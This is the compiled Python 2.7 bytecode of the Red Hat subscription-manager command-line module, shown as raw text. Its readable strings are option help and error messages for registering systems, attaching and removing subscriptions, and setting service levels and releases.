org ID: %stenvironmentstenvironmentRzR�senvironment name: %ss*Identity certificate has been regenerated.s2Successfully generated a new identity from server.u;Error: Unable to generate a new identity for the system: %ss7Error: Unable to generate a new identity for the system(+R�R�R�R"tis_registered_with_classicR�RcRdRtREGISTERED_TO_BOTH_SUMMARYtREGISTERED_TO_OTHER_SUMMARYRRRqRzR�R^RwR�tsupports_resourcetgetConsumerRZR�t
set_user_passRARBtget_basic_auth_cptregenIdCertificateR$tpersist_consumer_certtreloadRUReRSRrRWRVR RYRZR[RsR_(R�Rt
consumeridt
consumer_nameRtt	ownernametowneridtconsumerRatenvironment_nametreR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��sN







(R�R�R}RR�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR]�s		t
OwnersCommandcB`seZd�Zd�ZRS(cC`s6td�}tt|�jd|t�|j�dS(NsDDisplay the organizations against which a user can register a systemtorgs(RdRRsR}RhR�(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�scC`s[y�|jj|j|j�|jj�|_|jj|j�}tjd�t	|�r�t
d�t
d|jtd�f�t
d�t
d�xM|D]+}t
tt
t|d|d�d�q�Wnt
td	�|j�Wnltjk
r1}tj|�tjd
|�ttj|j�n&tk
rV}ttd�|�nXdS(Ns,Successfully retrieved org list from server.s-+-------------------------------------------+s          %s %st
OrganizationsR#R_R�s
s*%s cannot register with any organizations.u2Error: Unable to retrieve org list from server: %ss.Error: Unable to retrieve org list from server(R�RgRARBRhR�tgetOwnerListRUReR�RcRdR<tORG_LISTR?RSRrRWRVR RYRZR[RsR_(R�townersRtRrR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s(




 
(R�R�R}R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRs�s	tEnvironmentsCommandcB`s#eZd�Zd�Zd�ZRS(cC`sEtd�}td�|_tt|�jd|t�|j�dS(Ns-Display the environments available for a usersAspecify organization for environment list, using organization keyR`(RdRORRyR}RhR�(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}s
cC`s|jj|�S(N(R�tgetEnvironmentList(R�RP((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_get_environmentsscC`sy|j�y�|jj|j|j�|jj�|_|jjd�r�|j|j	�}t
|�r�td�tdtd��td�xL|D]1}tt
tt|d|dp�d�d�q�Wq�ttd	��nttjtd
��tjd�Wnltjk
rO}tj|�tjd|�ttj|j�n&tk
rt}ttd
�|�nXdS(NR`s-+-------------------------------------------+s          %stEnvironmentsRztdescriptionR#s
s(This org does not have any environments.s,Error: Server does not support environments.s4Successfully retrieved environment list from server.u:Error: Unable to retrieve environment list from server: %ss6Error: Unable to retrieve environment list from server(RR�RgRARBRhR�ReR{RPR�RcRdR<tENVIRONMENT_LISTR?R RYR�RUReRSRrRWRVRZR[RsR_(R�R`tenvRrR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�s,




(R�R�R}R{R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRys		tAutohealCommandcB`s5eZd�Zd�Zd�Zd�Zd�ZRS(c	C`s�tjtj�j|_td�}td�|_tt|�jd|t	�|j
jdddddd	td
��|j
jdddddd	td
��|j
jdddddd	td��dS(NsBSet if subscriptions are attached on a schedule (default of daily)sDspecify whether to enable or disable auto-attaching of subscriptionssauto-attachs--enableR�tenableR�R�R�s@try to attach subscriptions for uncovered products each check-ins	--disabletdisables>do not try to automatically attach subscriptions each check-ins--showR3s'show the current auto-attach preference(R�R�R�RqRdRORR�R}RhR�R�(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}-s

cC`s*|jj|jd|�|j|�dS(Ntautoheal(R�tupdateConsumerRqt_show(R�R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_toggle<scC`s|js|j�ndS(N(RqR�(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR@s	cC`s-|rttd��nttd��dS(NsAuto-attach preference: enableds Auto-attach preference: disabled(RcRd(R�R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�DscC`sd|j�|jjrG|jjrG|j|jj|j�d�n|j|jjp\t	�dS(NR�(
RR�R�R�R�R�RfRqR�Rh(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�Js
#(R�R�R}R�RR�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�+s
				tServiceLevelCommandcB`sPeZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	RS(c	C`s�td�}td�|_tt|�jd|tdd�|j�|jjdddd	d
dtd��|jjd
ddd	d
dtd��t	j
t	j�|_dS(Ns%Manage service levels for this systemsospecify an organization when listing available service levels using the organization key, only used with --lists
service-levelRtservice_level_agreements--showR�R3R�R�R�s(show this system's current service levels--listRbs!list all service levels available(
RdRORR�R}RhR�R�R�R�R�R�R(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}Us 

	
	
c
C`s*|jjr'|jjj�|j_n|jjr}|jjr}|jjr}|jjdkr}|jjr}t|j_n|jjr�|jjr�tt	j
td��n|j�s&|jjr�|jj
o�|jjs#tt	j
td��q#q&|jjs#|jjrq&ttt�ndS(NR#s5Error: --org is only supported with the --list optionsTError: you must register or specify --username and --password to list service levels(R�RRRbR3RRfRPR RYR�RdR�RARBR�R�(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRks"



cC`s�|j�y\|jjrS|jjrS|jj|j|j�|jj�|_n|jj�|_Wnlt	j
k
r�}tj|�tj
d|�ttj|j�ntk
r�}ttd�|�n�Xyx|jjr�|j�n[|jjdk	r|j�n<|jjr)|j�n#|jjrB|j�n
|j�Wnrtk
r{}ttt|��|�nGt	j
k
r�}tj|�tj
d|�ttj|j�nXdS(Nu,Error: Unable to retrieve service levels: %ss)Error: Unable to retrieve service levels.(RR�RARBR�RgRhR�R�RSRrRURWRVR RYRZR[RsR_RdRRR�Rbtlist_service_levelsR3tshow_service_levelRR(R�RrR�tuex((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s8






cC`sa|jjd�r(tt|�j�n5|j|jj�ttd�j	d|jj��dS(NR1sService level set to: "{val}".R(
R�R7RR�Rtupdate_service_levelR�RcRdR�(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�scC`sI|jjd�r(tt|�j�n|jd�ttd��dS(NR1R#s'Service level preference has been unset(R�R7RR�RR�RcRd(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�s
cC`s]|jj|jj�}d|kr=ttjtd��n|jj|jjd|�dS(NtserviceLevels@Error: The service-level command is not supported by the server.t
service_level(	R�RfRRqR RYR�RdR�(R�R�Rp((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s
	cC`s~|jj|jj�}d|kr=ttjtd��n|dpJd}|rjttd�|�nttd��dS(NR�s@Error: The service-level command is not supported by the server.R#sCurrent service level: %ss Service level preference not set(	R�RfRRqR RYR�RdRc(R�RpR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��scC`s�|jj}|sI|j�r=|jj|jj�d}qI|j}nyx|jj|�}t|�r�t	d�t	dt
d��t	d�x+|D]}t	|�q�Wnt	t
d��Wn�tk
r�}|�n�tj
k
r}ttjt
d��n�tjk
r�}|jdkrY|jjd�d	krYttjt
d��q�|jdkr�ttjt
|j��q�|�nXdS(
NR�s-+-------------------------------------------+s               %ssAvailable Service Levelss=This org does not have any subscriptions with service levels.s@Error: The service-level command is not supported by the server.i�s/servicelevelsi(R�RPR�R�RpRRqtgetServiceLevelListR�RcRdRRSRR RYR�RrtcodeR[tfindR�(R�torg_keytslastslaR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s0


	'(
R�R�R}RR�RRR�R�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�Ss			%				
tUsageCommandcB`seZd�ZRS(c	C`sGtd�}td�|_tt|�jd|tdddd�dS(	Ns$Manage usage setting for this systems4use set and unset to define the value for this fieldtusageRR
RR(ssetsunset(RdRORR�R}Rh(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�s(R�R�R}(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��stRegisterCommandcB`sPeZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	RS(c
C`s�t�j}tt|�jd|t�|j�|jjddddddt
d��|jjddd	dd
dddt�|jjd
dddddt
d��|jjddddddt
d��|jjddddddt
d��|jjddddt
d��|jjddddt
d��|jjdd d!dt
d"��|jjd#d d!dd$dt
d%��|jjd&d d!dt
d'��|jjd(d d)dd*dt
d+��|jjd,dd-dt
d.��dS(/NRJs	--baseurlR�R�R�R�s<base URL for content in form of https://hostname:port/prefixs--typetconsumertypetsystemRQtUNITTYPEs--nametconsumernamet
SYSTEMNAMEs8name of the system to register, defaults to the hostnames--consumeridRltSYSTEMIDs2the existing system data is pulled from the servers--orgRPRRsPregister with one of multiple organizations for the user, using organization keys
--environmentRas;register with a specific environment in the destination orgs	--releasetreleasesset a release versions--autosubscribeR�R�sDeprecated, see --auto-attachs
--auto-attacht
autoattachs<automatically attach compatible subscriptions to this systems--forces4register the system even if it is already registereds--activationkeyR	tactivation_keyssHactivation key to use for registration (can be specified more than once)s--servicelevelR�sMsystem preference used when subscribing automatically, requires --auto-attach(RtCLI_REGISTERRR�R}RfR�R�R�R�RdR(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�s6
!








cC`sV|jjp|jj|_|j�rM|jjrMttjtd��n|jj	dkrxttjtd��n�|jj
r�|jjr�ttjtd��n�|jjr�|jjr�ttjtd��nx|jj
r|jjrttjtd��nG|jr9|jjr9ttjtd��n|jjrpd|jjkrpttjtd��n�|jjr�|jr�ttjtd	��n�|jjr�|jjr�ttjtd
��n�|jjr|jjrttjtd��nP|jjrR|jjj�dkp5|jjd
krRttjtd��ndS(Ns:This system is already registered. Use --force to overrideR#s$Error: system name can not be empty.s7Error: Activation keys do not require user credentials.sFError: Activation keys can not be used with previously registered IDs.sAError: Activation keys do not allow environments to be specified.s9Error: Activation keys cannot be used with --auto-attach.s%Error: Must specify an activation keys2Error: Must use --auto-attach with --servicelevel.s/Error: Must provide --org with activation keys.s�Error: Can not force registration while attempting to recover registration with consumerid. Please use --force without --consumerid to re-register or use the clean command and try again without --force.trhuiR�sAError: The --type option has been deprecated and may not be used.(R�t
autosubscribeR�R�RZR RYR�RdR�RAR�RlRaR�RPR�tlower(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRs4+cC`stS(s�
        If the user provides a --serverurl or --baseurl, we want to persist it
        to the config file so that future commands will use the value.
        (Rf(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�/scC`s�td|jd|j�r)|j�dSd|krZ|jjrZttjt	d��ny t
j|j�jdd�WnCtjk
r�}t|j�n!tk
r�tjd��nXdS(ss
        Try to do auto-attach, when it was requested using --auto-attach CLI option
        :return: None
        R`RNR�s_Error: The --servicelevel option is not supported by the server. Did not complete your request.R�sAuto-attach failed(R7R�RR�R�R�R RYR�RdRFt
AttachServicetattach_autoR�RSRrR5R[RsRURW(R�Rptrest_lib_err((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_do_auto_attach6s

 

c
C`s�|j�t�j�r,tt�j�n|j�tjtj	�|_
t}|j�rQ|j
jrQt}|jj}ttd�tddtddtddf�yYtj|j�j�|jj�|jj�tjd|�ttd�|�WqQtjk
r.}td|�qQtk
rM}td	|�qQXn|j j!�|rwttd
��nyc|j
j"stdd}d|kr�d|}n|}ttd
�|tddtddf�|j j#|j$|j%�|j j&�}n|j j'�}t(j)|�}|j
j*rjtj+d|j
j*�|j(d!d|j
j*�}no|j-|�}	|j.||	|j
j/�}
|j(|	d|j
j"d|
d|j
jd|j
j0d|j
j1�}Wnet2j3t4j5fk
r}tj6|�t7t8j9|�n�tk
rA}ttd�||�nWXtj:|dd|dd�}ttd�|j;��ttd�|j<��t=�|j j>�|_|j?�tjtj@�}
|j
j*rtj+d�|
jA|j|ddt�n|
jB�|j
jA|j|d�|j
jCrY|jjD|dd|j
jC�n|jErr|jF|�n|j
j*s�|j
j"s�|jEs�|jjGtH�r�tj+d�|jIjJ�ny0tjtjK�}|jA|j|dt�Wn*tLk
r}tjMdtN|��nXd }|j
j"s:|jErttjtjO�|_P|jPjQ�tR|j|j�}n|jS�|S("s'
        Executes the command.
        sUnregistering from: %s:%s%sR�R�R�R�s0--force specified, unregistered old consumer: %ss-The system with UUID %s has been unregisteredsUnregister failed: %ssUnregister failedsAll local data removedR�s[%s]sRegistering to: %s:%s%ss$Registering as existing consumer: %sRlR�RaRZRzttypesError during registration: %stidCertR�tcerts*The system has been registered with ID: %ss!The registered system name is: %ssUpdating factsRqR�s2System registered, updating entitlements if neededsUnable to upload profile: %siN(TR�R"RbRcRtREGISTERED_TO_OTHER_WARNINGRR�R�tINSTALLED_PRODUCTS_MANAGERt
installed_mgrRhR�R�RZRfRRqRdR�RHtUnregisterServiceR�R�R}R�RUtinfoR
R�R_RsR�RVR�RgRARBRhR�RJtRegisterServiceRlReR�t_determine_owner_keyt_get_environment_idRaR�R�RSRrRLtServiceErrorRWR RYRZtConsumerIdentityt
getConsumerIdtgetConsumerNameR3R�R�tFACTStupdate_checktwrite_cacheR�R�R�R�R7RR�R�tPROFILE_MANAGERRRVRR�tsorterR�RoR�(R�tpreviously_registeredtold_uuidR�R�tnormalized_hostnametadmin_cptserviceRpt	owner_keytenvironment_idRrt
consumer_infotfactstprofile_mgrRvRk((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�Ts�

)



!
"

 
#	3


cC`s8tjjtd��j�}tj�|p7|j�S(sG
        By breaking this code out, we can write cleaner tests
        s
Environment: (RERFRGRdRRHRIt_prompt_for_environment(R�Ra((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s
c	C`s�|jjrdS|jd�}|s#|r|j|�}|sD|St|�dkr{tjd|dd�|ddSg|D]}|d^q�}tt	d�|dj
|�f�|j�}g|D] }|d|kr�|d^q�}|r|dStt
jt	d	�|�n|S|sBtt
jt	d
��n|jd|d|�}|s}tt
jt	d	�|�n|dS(NR`is*Using the only available environment: "%s"iRztids;Hint: Organization "%s" contains following environments: %ss, sNo such environment: %ss,Error: Server does not support environments.R�(R�R�R�ReRzR�RUReRcRdR*R�R RYR�R�tgetEnvironment(	R�R�R�Rqtsupports_environmentstenv_listRt
env_name_listtenv_matches((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s4-cC`s|jjr|jjS|j|j�}t|�dkrWtdtd�|j�nt|�dkru|ddSt|�dkr�g|D]}|d^q�}ttd�|jdj|�f�nd}x,|st
jjtd��}t
j�q�W|S(	s�
        If given an owner in the options, use it. Otherwise ask the server
        for all the owners this user has access too. If there is just one,
        use its key. If multiple, ask the user.
        iis*%s cannot register with any organizations.R�s8Hint: User "%s" is member of following organizations: %ss, sOrganization: N(R�RPRvRAR�R RdRcR*R�RERFRGRHRI(R�R�RxRttorg_keysR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�s 
	(
R�R�R}RR�R�R�R�R�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s		 			�		.tUnRegisterCommandcB`s#eZd�Zd�Zd�ZRS(cC`s,t�j}tt|�jd|t�dS(NRH(RtCLI_UNREGISTERRR�R}Rf(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}<scC`sdS(N((R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR@scC`s�|j�s"tttd��nttd�tddtddtddf�ytj|j�j�Wn t	k
r�}t
d|�nXyt�}|j�Wnt	k
r�}nX|j
�t�ttd��dS(	Ns(This system is currently not registered.sUnregistering from: %s:%s%sR�R�R�R�sUnregister failedsSystem has been unregistered.(R�R R�RdRcR�RHR�R�RsR_RR�R�R3(R�R�tcleanup_certmgr((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�Cs )	
(R�R�R}RR�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�:s		t
AddonsCommandcB`seZd�ZRS(cC`sGtd�}tt|�jdd|dtdddddd	g�dS(
Ns9Modify or view the addons attribute of the system purposeR&R{R|RR
RRR
(RdRR�R}Rh(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}gs!(R�R�R}(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�est
RedeemCommandcB`s#eZd�Zd�Zd�ZRS(c	C`s|td�}tt|�jd|t�|jjddddddtd	��|jjd
dddddtd��dS(
Ns;Attempt to redeem a subscription for a preconfigured systemtredeems--emailR�temailR�RR�s@email address to notify when subscription redemption is completes--localetlocalesqoptional language to use for email notification when subscription redemption is complete (Examples: en-us, de-de)(RdRR�R}RhR�R�(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}os
cC`s)|jjs%ttjtd��ndS(NsLError: This command requires that you specify an email address with --email.(R�R�R RYR�Rd(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR{scC`sP|j�|j�y�tjtj�}|j|j|jj�tjtj	�}|j|j|jj�|jj
|jj|jj|jj
�}|r�|jd�r�td|jd��nWnytjk
r}d|jko�dknr
td|�qBtd||�n$tk
rA}td||�nX|j�dS(s'
        Executes the command.
        tdisplayMessageii�i�uUnable to redeem: %sN(R�RR�R�R�R�R�RRqR�tactivateMachineR�R�R�RR RSRrR�R_RsR�(R�R�R�tresponseR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�s"

*(R�R�R}RR�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�ms		tReleaseCommandcB`s,eZd�Zd�Zd�Zd�ZRS(cC`s�td�}tt|�jd|t�|jjddddddtd	��|jjd
dddddtd��|jjd
dddddddtd��|jjddddddtd��dS(Ns/Configure which operating system release to useR�s--showR�R3R�R�R�s.shows current release setting; default commands--listRbslist available releasess--setRR�sset the release for this systems--unsetRs!unset the release for this system(RdRR�R}RfR�R�R�(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�s


cC`sOtd�}|jj|jj�}d|krCttj|�n|ddS(Ns<Error: The 'release' command is not supported by the server.t
releaseVer(RdR�RfRRqR RYR�(R�terr_msgRp((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_get_consumer_release�s
cC`s=|j�}|r)ttd�|�nttd��dS(NsRelease: %ssRelease not set(R�RcRd(R�R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pytshow_current_release�sc	C`s[tdd}t|�\}}}|jjd|d|�t�|_|j�t�}|jj	r�|j
j|jj
dd�|j�ttd��n�|jjdk	r�y|jj�}Wn:tk
r}tjd|�ttj|j��nX|jj|kr9|j
j|jj
d|jj�n ttjtd	�|jj�|j�ttd
�|jj�n�|jjrMy|jj�}Wn:tk
r�}tjd|�ttj|j��nXt|�dkrttjtd��ntd
�tdtd��td
�x%|D]}t|�q6Wn
|j�dS(NR�R�tcdn_hostnametcdn_portR�R#s!Release preference has been unsetsGetting releases failed: %ssENo releases match '%s'.  Consult 'release --list' for a full listing.sRelease set to: %sis:No release versions available, please check subscriptions.s-+-------------------------------------------+s          %ssAvailable Releases(R�R-R�tset_content_connection_infoR&trelease_backendR�R(R�RR�R�RRqR�RcRdR�R�tget_releasesR'RURVR RYR�ttranslated_messageR�RbR�R�(	R�tcdn_urlR�R�t_cdn_prefixtrepo_action_invokertreleasesRvR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��sT
	
	




(R�R�R}R�R�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s			t
AttachCommandcB`sPeZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	RS(c	C`stt|�j|j�|j�|j��d|_d|_t	|_
|jjddddddt
d��|jjddd	dt
d
��|jjddddt
d
��|jjddddt
d��|jjddddt
d��t
d�t
d�dS(Ns--poolR�tpoolR�R	R�s>The ID of the pool to attach (can be specified more than once)s
--quantitytquantitysGNumber of subscriptions to attach. May not be used with an auto-attach.s--autoR�sYAutomatically attach compatible subscriptions to this system. This is the default action.s--servicelevelR�scAutomatically attach only subscriptions matching the specified service level; only used with --autos--filetfiles^A file from which to read pool IDs. If a hyphen is provided, pool IDs will be read from stdin.s9All installed products are covered by valid entitlements.s-No need to update subscriptions at this time.(RR�R}t
_command_namet_short_descriptiont_primaryR�Rmt	substokenRftauto_attachR�R�Rd(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�s&		
			





cC`sx|jjsg|j_nxVtj|�D]E}x<tttjd|j���D]}|jjj	|�qSWq+WdS(Ns\s+(
R�R�t	fileinputRGtfiltertboolRrR�RR	(R�tftlineR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_read_pool_idss
(cC`s
td�S(NsmAttach a specified subscription to the registered system, when system does not use Simple Content Access mode(Rd(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�"scC`sdS(NRF((R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�(scC`stS(N(Rf(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�+scC`s�|jjs|jjre|jjr=ttjtd��n|jjrettjtd��qen|jj	}|jj	r�t
|�s�ttjtd��q�|jjs�|jjp�|jjr�ttjtd��q�t|jj	�|j_	n|jjr�tjj
|jj�|j_|jjdksOtjj|jj�r�|j|jj�t|jj�dkr�|jjdkr�ttjtd��q�ttjtd�|jj�q�q�ttjtd	�|jj�ndS(
Ns4Error: --auto may not be used when specifying pools.sFError: The --servicelevel option cannot be used when specifying pools.s+Error: Quantity must be a positive integer.s5Error: --quantity may not be used with an auto-attacht-is3Error: Received data does not contain any pool IDs.s3Error: The file "%s" does not contain any pool IDs.s6Error: The file "%s" does not exist or cannot be read.(R�R�R�tautoR RYR�RdR�R�R%R�tpatht
expandusertisfileR�R�R�(R�R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR.s*%*&cC`s?t|j|j�}|d}ttd�jd|��dS(sS
        Print message about ignoring attach request
        :return: None
        R�s�Ignoring the request to attach. Attaching subscriptions is disabled for organization "{owner_id}" because Simple Content Access (SCA) is enabled.R�N(RwR�RRcRdR�(R�RtR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_print_ignore_attach_messageNs
cC`sq|j�|j�|jjs,|jjr8t|_ntd|jd|j	�r}|jt
kro|j�n
|j�dSd}d}d}y�tdtg�}|j�t
}tj|j�}|jjr%t}x8|jjD]*}|jd�dkrttjtd��nyp|j||jj�}	xQ|	D]I}
|
d}ttd�|d	�tjd
|d	|f�t
}q;WWq�tjk
r}tj|�|j dkr�t|j!�q|j dks�|j d
kr�t|j!�qttj"|j!�q�Xq�W|s7d}q7nt#t$j%|j�j&��}t'j(t'j)�|_*|j*j+�r�|s�ttd��nttd��t}n�|jj,r�|jj-|j	j.�}
d|
kr�ttj/td��q�n|j0|jj,�|jj,dk	r7t1|jj,�ttd�|jj,�n|rO|j2j�}nt3�}|j�|r�|j4�r�ttd��x�|j4�D]}tdt5|��q�Wn�|jr;|s�d}q;|j*j6�t'j(t'j7�}|j8|j*j9j:�|j*j	j.|j*j;�|j*j<�t=|j|j	�}nWn$t>k
rb}t?d||�nX|j@�|S(s'
        Executes the command.
        R`Ritskipst#s%Please enter a valid numeric pool ID.R�s,Successfully attached a subscription for: %stproductNames#Attached a subscription for %s (%s)i�i�i�isANo Installed products on system. No need to attach subscriptions.sgAll installed products are covered by valid entitlements. No need to update subscriptions at this time.R�s_Error: The --servicelevel option is not supported by the server. Did not complete your request.sService level set to: %ssFEntitlement Certificate(s) update failed due to the following reasons:s	-sUnable to attach: %sN(AR�RR�R�R�RhR�R7R�RRfR�R�R�RRBR�RFR�R�R RYR�Rdtattach_poolR�RcRUReRSRrRWR�R[RZR�RGRaRbR�R�R�R�R�R�RfRqR�R�RAR�RRLRR�tENTITLEMENT_STATUS_CACHEtload_statusR�R�ton_datetloadRoRsR_R�(R�tinstalled_products_numR�treporttcert_action_clienttcert_updatetattach_serviceRkR�tentstentt	pool_jsonRrRptprofile_action_clientR�tstatus_cache((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�]s�







		
		



(
R�R�R}R�R�R�R�RR�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s						 	tSubscribeCommandcB`s,eZd�Zd�Zd�Zd�ZRS(cC`stt|�j�dS(N(RRR}(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�scC`s
td�S(NsDeprecated, see attach(Rd(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��scC`sdS(Nt	subscribe((R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��scC`stS(N(Rh(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s(R�R�R}R�R�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�s			t
RemoveCommandcB`sGeZd�Zd�Zd�Zd�Zd�Zd�Zd�ZRS(cC`s�tt|�j|j�|j�|j��|jjddddddddtd	��|jjd
dddddddtd
��|jjddddddtd��dS(Ns--serialR�R	R�tserialsRQtSERIALR�sEcertificate serial number to remove (can be specified more than once)s--pooltpool_idstPOOL_IDs>the ID of the pool to remove (can be specified more than once)s--allR(R�s)remove all subscriptions from this system(	RRR}R�R�R�R�R�Rd(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�s		
!
!
cC`s
td�S(Ns5Remove all or specific subscriptions from this system(Rd(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��scC`sdS(NR
((R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��scC`stS(N(Rf(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��scC`s�|jjrkt}x=|jjD]/}|j�sttd�|�t}qqW|r�ttj	�q�nm|jj
r�|jjd�s�ttj
td��q�n3|jjr�|jj
r�ttj	td��ndS(Ns(Error: '%s' is not a valid serial numbertremove_by_pool_idsqError: The registered entitlement server does not support remove --pool.
Instead, use the remove --serial option.sOError: This command requires that you specify one of --serial, --pool or --all.(R�RRhtisdigitRcRdRfR RYR�RR�R7R�R((R�tbadtserial((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRs
cC`s�|rv|dkr%ttd��n/|dkrDttd��nttd��x|D]}td|�q[Wn|r�|dkr�ttd��n/|dkr�ttd��nttd	��x|D]}td|�q�WndS(
Ntpoolss8The entitlement server successfully removed these pools:sserial numberssAThe entitlement server successfully removed these serial numbers:s6The entitlement server successfully removed these IDs:s   %ss4The entitlement server failed to remove these pools:s=The entitlement server failed to remove these serial numbers:s2The entitlement server failed to remove these IDs:(RcRd(R�tsuccesstfailuretid_nametid_((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_print_unbind_ids_results 

c
C`sZ|j�d}|j�r�tj|j�}yG|jjr�|j�}|dkrht	t
d��qt|d}t	tdd|�|�n�|jjr�|j
|jj�\}}}|s�d}n|j||d�ng}g}|jjrat|jj�}	g|	D]}
|
|kr|
^q}|j|�\}}|j|�|sad}qan|j||d�WqLtjk
r�}
tj|
�ttj|
j�qLtk
r�}tt
d	�||�qLXnryE|jjr4d}x+|jj�D]}|j�|d}q�Wt	t
d
�|�n�|jjsL|jjr|jjp[g}	|jjpmg}d}x�|jj�D]|}t t!|j"dd�p�d�}t |j#�|	ks�||kr�|j�t	t
d
�t |j#��|d}q�q�W|dkrd}qnWn*tk
rK}tt
d	�||�nX|j$�|S(s'
        Executes the command.
        is2All subscriptions have been removed at the server.tdeletedRecordss&%s subscription removed at the server.s'%s subscriptions removed at the server.iRsserial numberss;Unable to perform remove due to the following exception: %ss*%s subscriptions removed from this system.R�R#s;Subscription with serial number %s removed from this systemN(%RR�RItEntitlementServiceR�R�R(tremove_all_entitlementsR�RcRdRCRtremove_entilements_by_pool_idsR RR6tremove_entitlements_by_serialstextendRSRrRURVR RYRZR[RsR_R�RbtdeleteRRR�RR�(R�R�tent_servicettotaltcountt
removed_poolstunremoved_poolstremoved_serialstunremoved_serialsRRtserials_to_removet_removed_serialsRvR�RRtent_pool_id((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�$sp

		%


!!

(	R�R�R}R�R�R�RR R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�s	
					tUnSubscribeCommandcB`s,eZd�Zd�Zd�Zd�ZRS(cC`stt|�j�dS(N(RR2R}(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}rscC`s
td�S(NsDeprecated, see remove(Rd(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�uscC`sdS(Ntunsubscribe((R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�xscC`stS(N(Rh(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�{s(R�R�R}R�R�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR2qs			tFactsCommandcB`s#eZd�Zd�Zd�ZRS(cC`sptd�}tt|�jd|t�|jjddddtd��|jjddddtd	��dS(
